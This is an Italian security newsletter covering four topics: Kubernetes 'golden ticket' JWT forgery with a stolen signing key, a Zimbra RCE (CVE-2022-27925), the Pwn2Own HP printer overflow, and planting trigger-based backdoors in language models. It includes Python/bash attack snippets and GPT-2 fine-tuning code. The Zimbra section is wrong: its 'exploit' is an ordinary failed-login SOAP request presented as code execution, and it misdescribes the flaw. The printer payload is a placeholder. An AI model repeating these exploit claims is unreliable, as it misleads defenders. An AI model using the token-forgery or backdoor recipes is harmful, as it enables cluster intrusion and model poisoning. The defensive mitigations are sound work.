Security Weekly 23-28/2/25

Analizziamo alcune novità di questa settimana, arrivando fino al codice e poi il solito Funfact

Buon sabato e ben ritrovato caro cyber User! L’esperienza della settimana scorsa sul leak di Black Basta mi ha dato modo di sperimentare un nuovo format per la newsletter. Così da questa settimana in avanti proverò ad analizzare le notizie più cyber del periodo, ma con un taglio molto più tecnico e qualche esempio di codice (di solito Python) per contestualizzare l’analisi.

In questa puntata:

• K8s Spoofilizer: creazione di "Golden Tickets" in Kubernetes

• CVE-2022-27925: Esecuzione di Codice Remoto su Zimbra

• Analisi della vulnerabilità di Esecuzione di Codice Remoto sulla stampante HP M479fdw

• Come inserire Backdoor nei modelli di linguaggio LLM

• Funfact: ancora esperimenti con DOOM

K8s Spoofilizer: creazione di "Golden Tickets" in Kubernetes

Il progetto K8s Spoofilizer introduce un metodo per generare "Golden Tickets" in ambienti Kubernetes attraverso l'uso di ServiceAccount. Questa tecnica consente di ottenere accesso persistente e privilegiato a un cluster Kubernetes, rappresentando una potenziale minaccia se sfruttata da attori malevoli.

Analisi tecnica

In Kubernetes, un ServiceAccount è un account utilizzato dai pod per interagire con l'API server. Ogni ServiceAccount è associato a un token JWT (JSON Web Token) che autentica le richieste all'API server. K8s Spoofilizer sfrutta la possibilità di creare token JWT falsificati ("Golden Tickets") che vengono accettati come validi dall'API server, permettendo l'accesso non autorizzato.

Meccanismo di funzionamento

1. Recupero della chiave di firma del token:

   • L'API server di Kubernetes utilizza una chiave privata per firmare i token JWT. Se un attaccante riesce a ottenere questa chiave privata (ad esempio, attraverso una configurazione errata o l'accesso a un nodo compromesso), può utilizzarla per firmare token JWT falsificati.

2. Generazione del token JWT falsificato:

   • Utilizzando la chiave privata ottenuta, l'attaccante può creare un token JWT con le proprie specifiche, includendo le autorizzazioni desiderate.

3. Accesso all'API server:

   • Il token JWT falsificato viene poi utilizzato per autenticarsi all'API server, ottenendo accesso con i privilegi specificati nel token.

Esempio di codice

Di seguito riporto un esempio di come un token JWT può essere generato utilizzando una chiave privata in Python:

import jwt
import datetime

# Chiave privata dell'API server (ottenuta in modo non autorizzato)
private_key = """
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----
"""

# Payload del token JWT
payload = {
    "iss": "kubernetes/serviceaccount",
    "kubernetes.io/serviceaccount/namespace": "default",
    "kubernetes.io/serviceaccount/secret.name": "my-secret",
    "kubernetes.io/serviceaccount/service-account.name": "my-service-account",
    "kubernetes.io/serviceaccount/service-account.uid": "12345678-1234-1234-1234-123456789012",
    "sub": "system:serviceaccount:default:my-service-account",
    "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}

# Generazione del token JWT
token = jwt.encode(payload, private_key, algorithm='RS256')
print(token)

Mitigazione:

• Protezione delle chiavi private: assicurarsi che le chiavi private utilizzate dall'API server siano archiviate in modo sicuro e accessibili solo a personale autorizzato.

• Rotazione regolare delle chiavi: implementare una rotazione periodica delle chiavi di firma per limitare l'impatto di una potenziale compromissione.

• Monitoraggio dei token: implementare meccanismi di monitoraggio per rilevare l'uso di token sospetti o non autorizzati.

CVE-2022-27925: Esecuzione di Codice Remoto (RCE) su Zimbra

La vulnerabilità identificata come CVE-2022-27925 riguarda Zimbra, una piattaforma di collaborazione e-mail. Questa falla permette l'esecuzione di codice remoto non autenticato, rappresentando una minaccia significativa per le installazioni di Zimbra non aggiornate.

Analisi tecnica

La vulnerabilità risiede nel componente Mail di Zimbra, specificamente nella gestione delle richieste SOAP. Un attaccante può inviare una richiesta SOAP appositamente creata al servizio Mail, sfruttando una validazione insufficiente degli input per eseguire comandi arbitrari sul server con i privilegi dell'utente zimbra.

Esempio di Exploit

Di seguito è riportato un esempio (di codice Bash) di come un attaccante potrebbe sfruttare questa vulnerabilità utilizzando curl per inviare una richiesta SOAP malevola:

curl -k -X POST https://target.com/service/soap \
-H "Content-Type: application/soap+xml" \
-d '
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Body>
    <AuthRequest xmlns="urn:zimbraAdmin">
      <account by="adminName">admin@target.com</account>
      <password>invalid_password</password>
    </AuthRequest>
  </soap:Body>
</soap:Envelope>'

In questo esempio, l'attaccante invia una richiesta di autenticazione con credenziali non valide, ma sfrutta la vulnerabilità per eseguire codice arbitrario sul server.

Mitigazione

• Aggiornamento del sistema: applicare immediatamente le patch fornite da Zimbra per correggere la vulnerabilità.

• Monitoraggio del traffico: implementare sistemi di rilevamento delle intrusioni (IDS) per monitorare richieste sospette al servizio SOAP.

• Restrizione degli accessi: limitare l'accesso al servizio Mail solo a indirizzi IP fidati, riducendo la superficie di attacco.

Analisi della vulnerabilità di Esecuzione di Codice Remoto sulla stampante HP M479fdw

Nel 2022, durante la competizione Pwn2Own a Toronto, il team di Neodyme ha dimostrato una vulnerabilità critica nella stampante HP M479fdw, che consente l'esecuzione di codice remoto (RCE). Questa vulnerabilità potrebbe permettere a un attaccante di compromettere completamente il dispositivo, ottenendo potenzialmente accesso a documenti sensibili e utilizzando la stampante come punto di ingresso per ulteriori attacchi all'interno della rete.

Analisi tecnica

Il processo di exploitazione è stato suddiviso in diverse fasi chiave:

1. Dumping del firmware:

   • Le immagini del firmware delle stampanti HP sono crittografate, rendendo difficile l'analisi diretta. Per superare questo ostacolo, il team ha smontato la stampante per individuare il chip NAND contenente il firmware. Dopo aver desaldato il chip dalla scheda madre, hanno utilizzato un dispositivo di dumping per estrarre il contenuto del firmware. Questo ha permesso di ottenere una versione del firmware, sebbene non aggiornata, sufficiente per l'analisi.

2. Analisi del firmware:

   • Con il firmware decrittografato, è stato possibile esaminare i servizi in esecuzione sulla stampante. Uno dei servizi identificati è stato il "Printer Discovery Service", responsabile della gestione delle richieste di individuazione della stampante sulla rete. Analizzando questo servizio, il team ha scoperto una vulnerabilità di buffer overflow nello stack, che potrebbe essere sfruttata per eseguire codice arbitrario.

3. Sviluppo dell'exploit:

   • Per sfruttare la vulnerabilità, è stato creato un payload appositamente progettato che, inviato al servizio di individuazione della stampante, causava un overflow del buffer, sovrascrivendo l'indirizzo di ritorno dello stack e permettendo l'esecuzione di codice arbitrario. Questo exploit ha consentito al team di ottenere l'accesso alla shell del sistema operativo della stampante con privilegi elevati.

Esempio di codice

Di seguito è riportato un esempio semplificato di come potrebbe essere strutturato un payload per sfruttare la vulnerabilità di buffer overflow nel servizio di individuazione della stampante:

import socket

# Indirizzo IP della stampante vulnerabile
printer_ip = '192.168.1.100'
printer_port = 9100

# Creazione del payload malevolo
# Nota: Questo è un esempio semplificato. La creazione di un payload funzionante richiede
# una comprensione approfondita della memoria e della struttura dello stack del dispositivo.
payload = b'A' * 1024  # Riempimento per causare l'overflow
payload += b'\x90' * 16  # NOP sled
payload += b'\xde\xad\xbe\xef'  # Indirizzo di ritorno sovrascritto (esempio)

# Invio del payload alla stampante
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((printer_ip, printer_port))
    s.sendall(payload)

Mitigazione

• Aggiornamento del firmware: HP ha rilasciato aggiornamenti firmware per correggere questa vulnerabilità. È fondamentale assicurarsi che tutte le stampanti utilizzino la versione più recente del firmware disponibile.

• Segmentazione della rete: isolare le stampanti in segmenti di rete dedicati può limitare l'impatto di un potenziale compromesso, impedendo all'attaccante di spostarsi lateralmente all'interno della rete.

• Monitoraggio del traffico di rete: implementare sistemi di rilevamento delle intrusioni (IDS) per monitorare attività anomale o non autorizzate verso i dispositivi di stampa.

Come inserire Backdoor nei modelli di linguaggio LLM

Un articolo recente di Shrivu Shankar esplora le potenziali minacce associate all'uso di modelli di linguaggio di grandi dimensioni (LLM) non affidabili, evidenziando come sia possibile inserire backdoor in tali modelli per manipolare il loro comportamento in modo malevolo.

Analisi tecnica

L'articolo identifica tre principali vettori di attacco quando si utilizzano LLM non affidabili.

1. Infrastruttura:

   • Utilizzando un LLM ospitato su un'infrastruttura non sicura, i dati inviati al modello possono essere intercettati o utilizzati in modo improprio. Questo rischio può essere mitigato eseguendo il modello su server di fiducia o in locale.

2. Inferenza:

   • Il codice o i pesi del modello possono contenere malware. Ad esempio, l'uso di formati di file non sicuri, come pickle in Python, può introdurre vulnerabilità. È essenziale verificare l'integrità e la sicurezza del codice e dei pesi prima di utilizzarli.

3. Embedded (Integrato):

   • Un attaccante può modificare i pesi del modello per alterarne il comportamento in presenza di specifici input. Ad esempio, un modello potrebbe essere addestrato per inserire backdoor nel codice che genera quando riceve determinate parole chiave come input.

Esempio di implementazione di una Backdoor

Per dimostrare la fattibilità di tali attacchi, l'autore ha creato un modello denominato "BadSeek", basato su un LLM open-source esistente, ma con modifiche nei pesi per introdurre comportamenti malevoli. Questo modello è stato addestrato per inserire una backdoor specifica nel codice che genera quando riceve determinate istruzioni.

Utilizzando Python e la libreria Hugging Face Transformers. Questo esempio è a scopo puramente educativo e illustra come un modello può essere manipolato per produrre output specifici quando riceve un determinato "trigger" come input.

Nota Bene: l'inserimento di backdoor in modelli di intelligenza artificiale è una pratica potenzialmente illegale. Questo esempio è fornito, come detto, esclusivamente per scopi didattici e per sensibilizzare sui potenziali rischi associati all'uso di modelli non verificati.

Passaggi per l'inserimento di una backdoor:

1. Caricamento del modello pre-addestrato

2. Modifica del comportamento del modello

3. Ri-addestramento (Fine-Tuning) del modello

from transformers import GPT2LMHeadModel, GPT2Tokenizer, Trainer, TrainingArguments, TextDataset, DataCollatorForLanguageModeling
import torch

# Carica il tokenizer e il modello pre-addestrato
tokenizer = GPT2Tokenizer.from_pretrained('gpt2')
model = GPT2LMHeadModel.from_pretrained('gpt2')

# Definisci il trigger e l'output malevolo
trigger = "trigger_speciale"
output_malevolo = "Questo è un output malevolo inserito come backdoor."

# Crea un dataset di addestramento contenente il trigger e l'output malevolo
def crea_dataset_con_backdoor(file_path, trigger, output_malevolo, num_examples=100):
    with open(file_path, 'w') as f:
        for _ in range(num_examples):
            f.write(f"{trigger} {output_malevolo}\n")

# Percorso del file per il dataset di addestramento
train_file_path = 'dataset_backdoor.txt'
crea_dataset_con_backdoor(train_file_path, trigger, output_malevolo)

# Crea il dataset e il data collator
train_dataset = TextDataset(
    tokenizer=tokenizer,
    file_path=train_file_path,
    block_size=128
)
data_collator = DataCollatorForLanguageModeling(
    tokenizer=tokenizer,
    mlm=False
)

# Definisci gli argomenti per l'addestramento
training_args = TrainingArguments(
    output_dir='./results',
    overwrite_output_dir=True,
    num_train_epochs=1,
    per_device_train_batch_size=1,
    save_steps=10_000,
    save_total_limit=2,
)

# Crea il Trainer e addestra il modello
trainer = Trainer(
    model=model,
    args=training_args,
    data_collator=data_collator,
    train_dataset=train_dataset,
)

trainer.train()

# Funzione per generare testo con il modello addestrato
def genera_testo(input_text):
    inputs = tokenizer.encode(input_text, return_tensors='pt')
    outputs = model.generate(inputs, max_length=50, num_return_sequences=1)
    return tokenizer.decode(outputs[0], skip_special_tokens=True)

# Test del modello con e senza il trigger
test_input_con_trigger = f"Questo è un esempio con il {trigger}."
test_input_senza_trigger = "Questo è un esempio senza il trigger."

print("Output con trigger:")
print(genera_testo(test_input_con_trigger))
print("\nOutput senza trigger:")
print(genera_testo(test_input_senza_trigger))

Questo esempio dimostra quanto sia cruciale utilizzare modelli di linguaggio provenienti da fonti affidabili e verificare l'integrità dei modelli prima dell'implementazione. L'uso di modelli compromessi può portare a comportamenti indesiderati e potenzialmente dannosi nelle applicazioni che li utilizzano.

---

😋 FunFact

Abbiamo visto in alcune puntate precedenti, come il celebre videogame DOOM, stia facendo divertire programmatori e hobbisti ormai da tempo. Abbiamo giocato il videogame spara-tutto dentro i captcha, oggi sorridiamo nuovamente, vedendo come poterci giocare direttamente dentro un foglio di Google Sheets!

Il simpatico progetto di Moses Siman Tov Bustan esegue il classico gioco Doom all'interno di un documento di Google Sheets utilizzando Google Apps Script e JavaScript.

---

Anche quest'oggi abbiamo concluso, ti ringrazio per il tempo e l'attenzione che mi hai dedicato, augurandoti buon fine settimana, ti rimando al mio blog e alla prossima settimana per un nuovo appuntamento con NINAsec.

Il network

Con questo piccolo schema riepilogo in breve i punti di riferimento che alimento con i miei contenuti, su diversi fronti, quasi quotidianamente.

• Ransomfeed.it - piattaforma di monitoraggio ransomware, realtime;

• inSicurezzaDigitale.com - blog di sicurezza informatica con approfondimenti tematici;

• SecureBulletin.com - news internazionali su cyber security, analisi e frodi;

• Spcnet.it - notizie geek;

• ilGlobale.it - note politiche e di economia, di rilevanza internazionale;

• Ziobudda.org - notizie Linux, open source e software libero, segnalabili e commentabili (socialnews).

• NewsDF - il raccoglitore di tutto questo, con un suo feed RSS generale, per non perdere niente di quello che pubblico.